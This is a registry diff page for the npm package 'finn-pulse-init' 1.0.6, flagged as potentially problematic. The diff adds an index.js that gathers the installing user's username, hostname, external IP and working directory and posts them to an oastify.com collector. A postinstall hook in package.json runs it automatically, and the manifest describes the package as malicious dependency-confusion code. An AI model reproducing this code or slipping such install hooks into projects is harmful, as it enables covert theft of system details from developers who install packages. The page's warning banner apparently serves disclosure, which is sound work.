finn-pulse-init 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of finn-pulse-init might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/.env +1 -0
  2. package/index.js +62 -0
  3. package/package.json +14 -0
package/.env ADDED
@@ -0,0 +1 @@
1
+ asuuuuuuuuuuuuuuuuuuuuuu
package/index.js ADDED
@@ -0,0 +1,62 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const path = require('path');
4
+
5
+ // Mendapatkan waktu saat ini
6
+ function getCurrentTime() {
7
+ return new Date().toISOString();
8
+ }
9
+
10
+ // Mendapatkan nama organisasi atau pengguna
11
+ function getOrganization() {
12
+ return os.userInfo().username; // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
13
+ }
14
+
15
+ // Mendapatkan IP eksternal dengan menggunakan API
16
+ function getExternalIP() {
17
+ return axios.get('https://api.ipify.org?format=json')
18
+ .then(response => response.data.ip)
19
+ .catch(error => 'IP eksternal tidak ditemukan');
20
+ }
21
+
22
+ // Mendapatkan nama host
23
+ function getHostname() {
24
+ return os.hostname();
25
+ }
26
+
27
+ // Mendapatkan jalur direktori saat ini
28
+ function getCurrentPath() {
29
+ return path.resolve('.');
30
+ }
31
+
32
+ // Mengumpulkan data yang dibutuhkan
33
+ async function collectData() {
34
+ const time = getCurrentTime();
35
+ const organization = getOrganization();
36
+ const externalIP = await getExternalIP();
37
+ const hostname = getHostname();
38
+ const currentPath = getCurrentPath();
39
+ const packageName = 'my-package'; // Sesuaikan dengan nama package yang Anda uji
40
+
41
+ const data = {
42
+ time: time,
43
+ organization: organization,
44
+ ipAddress: externalIP,
45
+ packageName: packageName,
46
+ hostname: hostname,
47
+ currentPath: currentPath
48
+ };
49
+
50
+ console.log(data); // Tampilkan data yang dikumpulkan
51
+
52
+ // Mengirim data ke server target (misalnya Attacoker atau server lain)
53
+ axios.post('https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com/log', data)
54
+ .then(response => {
55
+ console.log('Data berhasil dikirim:', response.data);
56
+ })
57
+ .catch(error => {
58
+ console.error('Error saat mengirim data:', error);
59
+ });
60
+ }
61
+
62
+ collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "finn-pulse-init",
3
+ "version": "1.0.6",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "axios": "^0.21.1"
13
+ }
14
+ }